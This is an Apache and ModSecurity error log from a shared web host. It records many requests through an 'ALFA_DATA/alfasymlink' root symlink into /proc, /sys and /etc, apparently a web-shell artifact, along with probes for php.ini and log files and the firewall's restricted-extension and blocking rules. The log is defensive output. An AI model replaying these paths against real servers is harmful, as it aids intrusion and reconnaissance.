[Mon Oct 26 17:36:26.775805 2026] [security2:error] [pid 3098114:tid 3098114] [client 216.244.66.250:38564] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/xattr.conf"] [unique_id "at_H2oU8RArHmY5bTmWtFwAAAAY"]
[Mon Oct 26 17:36:26.776234 2026] [security2:error] [pid 3098114:tid 3098114] [client 216.244.66.250:38564] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/xattr.conf"] [unique_id "at_H2oU8RArHmY5bTmWtFwAAAAY"]
[Mon Oct 26 17:36:26.776523 2026] [security2:error] [pid 3098114:tid 3098114] [client 216.244.66.250:38564] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/xattr.conf"] [unique_id "at_H2oU8RArHmY5bTmWtFwAAAAY"]
[Mon Oct 26 17:36:30.581094 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 100.28.118.16:44362] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:36:34.531433 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.206.212.24:42464] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:36:38.729028 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.23.112.144:57482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:36:42.652630 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 18.210.58.238:53035] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:36:47.163670 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 3.226.34.98:12543] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:36:49.285802 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 185.191.171.11:62032] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:36:54.643743 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.3.127.170:50008] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:36:57.448598 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 216.244.66.250:52210] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/kcore
[Mon Oct 26 17:36:58.679669 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.212.205.90:6668] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:37:02.679233 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.221.156.96:59419] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:37:05.792290 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 85.208.96.209:34180] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-256/objs_per_slab
[Mon Oct 26 17:37:11.028225 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 18.204.152.114:9496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/uevent
[Mon Oct 26 17:37:14.795832 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 3.213.46.222:18259] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS0/subsystem/ttyS3/device/subsystem/drivers/amd_gpio/unbind
[Mon Oct 26 17:37:15.432289 2026] [authz_core:error] [pid 3100940:tid 3100940] [client 51.68.248.16:22722] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Mon Oct 26 17:37:27.745520 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 216.244.66.250:36674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/vmallocinfo
[Mon Oct 26 17:37:30.810592 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.166.126.132:63151] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:37:38.705889 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.203.152.231:17712] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:37:42.785328 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 52.6.5.24:59981] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A06:01/subsystem/devices/ACPI0010:00/LNXCPU:01/physical_node/node0/cpu0/crash_notes
[Mon Oct 26 17:37:46.784237 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.208.156.9:59136] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:37:59.459349 2026] [security2:error] [pid 3089355:tid 3089355] [client 42.193.15.224:56934] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at_IN2l9busrkyxI7OQXEAAAAAI"]
[Mon Oct 26 17:38:02.712405 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.212.205.90:34612] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:38:06.870119 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.225.148.123:4587] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:38:11.039357 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 18.215.112.101:15529] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:38:14.739172 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 100.29.34.97:27447] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:38:18.715678 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 3.93.98.99:47121] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/physical_node/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:11/eject
[Mon Oct 26 17:38:22.767535 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.93.211.16:2993] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:38:26.794495 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.196.114.170:40235] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:38:30.770026 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 44.223.116.180:35124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS2/flags
[Mon Oct 26 17:38:39.272267 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 44.208.223.68:16115] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:38:43.258350 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.4.213.199:55105] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:38:54.937419 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 3.94.156.104:3386] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:38:58.852323 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.233.219.155:54807] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:39:02.962628 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 54.152.163.42:62685] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:00/physical_node/i2c-0/new_device
[Mon Oct 26 17:39:11.034097 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 98.82.66.172:18935] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:39:15.043027 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 18.232.11.247:48007] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:39:18.997903 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.229.2.217:49495] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:39:23.138825 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 50.17.193.48:56971] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/new_id
[Mon Oct 26 17:39:39.042222 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.215.221.125:22102] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:39:43.158686 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 184.73.167.217:52064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/serial/bind
[Mon Oct 26 17:39:47.089714 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.193.115.232:63936] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:39:54.419211 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 85.208.96.194:27854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8k/usersize
[Mon Oct 26 17:39:55.114757 2026] [security2:error] [pid 3098113:tid 3098113] [client 52.207.47.227:47314] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory4/node0/memory17/"] [unique_id "at_Iq7HarSgES5WqcDhGzAAAAAU"]
[Mon Oct 26 17:39:55.114805 2026] [security2:error] [pid 3098113:tid 3098113] [client 52.207.47.227:47314] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory4/node0/memory17/"] [unique_id "at_Iq7HarSgES5WqcDhGzAAAAAU"]
[Mon Oct 26 17:40:03.342117 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 98.82.38.120:39126] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:40:07.873125 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 18.207.79.144:23135] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:40:16.891411 2026] [security2:error] [pid 3064975:tid 3064975] [client 43.154.250.181:54230] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/miescurlax.com/"] [unique_id "at_IwMdX-waAlDqXJHtWSQAAABY"]
[Mon Oct 26 17:40:16.900737 2026] [authz_core:error] [pid 3064975:tid 3064975] [client 43.154.250.181:54230] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Mon Oct 26 17:40:43.277522 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 107.23.62.75:60228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:40:47.212275 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 185.191.171.4:45688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/alloc_calls
[Mon Oct 26 17:40:51.339628 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.193.2.57:3440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:41:15.764894 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.194.134.53:11085] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:41:18.239980 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 185.191.171.17:54862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_tables/sections/__jump_table
[Mon Oct 26 17:41:19.377005 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 18.213.70.100:42248] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:41:23.622613 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.202.52.82:35687] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:41:31.632594 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 23.21.148.226:50718] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:41:36.205210 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 85.208.96.198:34214] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/slabs_cpu_partial
[Mon Oct 26 17:41:55.645076 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.213.240.226:63420] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:42:15.765635 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 54.204.12.115:51871] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:42:31.560292 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 34.203.111.15:24461] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:42:39.706069 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.166.104.83:9543] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:42:52.844193 2026] [security2:error] [pid 3098113:tid 3098113] [client 143.105.245.30:56580] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/logs/error.log"] [unique_id "at_JXLHarSgES5WqcDhG1AAAAAU"]
[Mon Oct 26 17:42:52.844574 2026] [security2:error] [pid 3098113:tid 3098113] [client 143.105.245.30:56580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/logs/error.log"] [unique_id "at_JXLHarSgES5WqcDhG1AAAAAU"]
[Mon Oct 26 17:42:52.845504 2026] [security2:error] [pid 3098113:tid 3098113] [client 143.105.245.30:56580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_JXLHarSgES5WqcDhG1AAAAAU"]
[Mon Oct 26 17:43:19.760499 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.231.193.38:43807] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:43:22.241330 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 85.208.96.211:16786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/ctor
[Mon Oct 26 17:43:25.492415 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 85.208.96.212:49188] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-8/reclaim_account
[Mon Oct 26 17:43:32.005564 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.218.35.239:22316] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:43:48.051181 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 23.23.104.107:36972] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:43:55.729451 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 3.232.39.98:43386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/vmd/bind
[Mon Oct 26 17:43:58.907998 2026] [security2:error] [pid 3100940:tid 3100940] [client 143.105.245.30:14678] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/var/log/app.log"] [unique_id "at_Jnj77nSD73jfhp0aChwAAAAc"]
[Mon Oct 26 17:43:58.908320 2026] [security2:error] [pid 3100940:tid 3100940] [client 143.105.245.30:14678] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/var/log/app.log"] [unique_id "at_Jnj77nSD73jfhp0aChwAAAAc"]
[Mon Oct 26 17:43:58.909144 2026] [security2:error] [pid 3100940:tid 3100940] [client 143.105.245.30:14678] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_Jnj77nSD73jfhp0aChwAAAAc"]
[Mon Oct 26 17:44:31.976876 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.6.232.201:36825] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:44:35.850986 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.198.33.233:29472] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:44:48.037857 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.54.249.218:52836] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:44:51.760893 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.224.104.67:43129] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:44:59.924441 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 44.194.134.53:45359] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/crash_notes_size
[Mon Oct 26 17:45:07.703057 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.236.135.14:50059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:45:11.886216 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.206.93.215:54363] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:45:12.819373 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 85.208.96.207:22066] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:45:12.819561 2026] [security2:error] [pid 3100940:tid 3100940] [client 85.208.96.207:22066] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/block/vda/vda2/alignment_offset"] [unique_id "at_J6D77nSD73jfhp0aCiwAAAAc"]
[Mon Oct 26 17:45:12.819589 2026] [security2:error] [pid 3100940:tid 3100940] [client 85.208.96.207:22066] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/block/vda/vda2/alignment_offset"] [unique_id "at_J6D77nSD73jfhp0aCiwAAAAc"]
[Mon Oct 26 17:45:16.309648 2026] [security2:error] [pid 3084056:tid 3084056] [client 16.216.88.102:49152] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/user.conf"] [unique_id "at_J7HKvFNFM41eF9Ijm-wAAADc"]
[Mon Oct 26 17:45:16.310131 2026] [security2:error] [pid 3084056:tid 3084056] [client 16.216.88.102:49152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/user.conf"] [unique_id "at_J7HKvFNFM41eF9Ijm-wAAADc"]
[Mon Oct 26 17:45:16.310432 2026] [security2:error] [pid 3084056:tid 3084056] [client 16.216.88.102:49152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/user.conf"] [unique_id "at_J7HKvFNFM41eF9Ijm-wAAADc"]
[Mon Oct 26 17:45:20.917812 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 54.209.100.30:13211] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/driver/0000:00:05.0/resource0
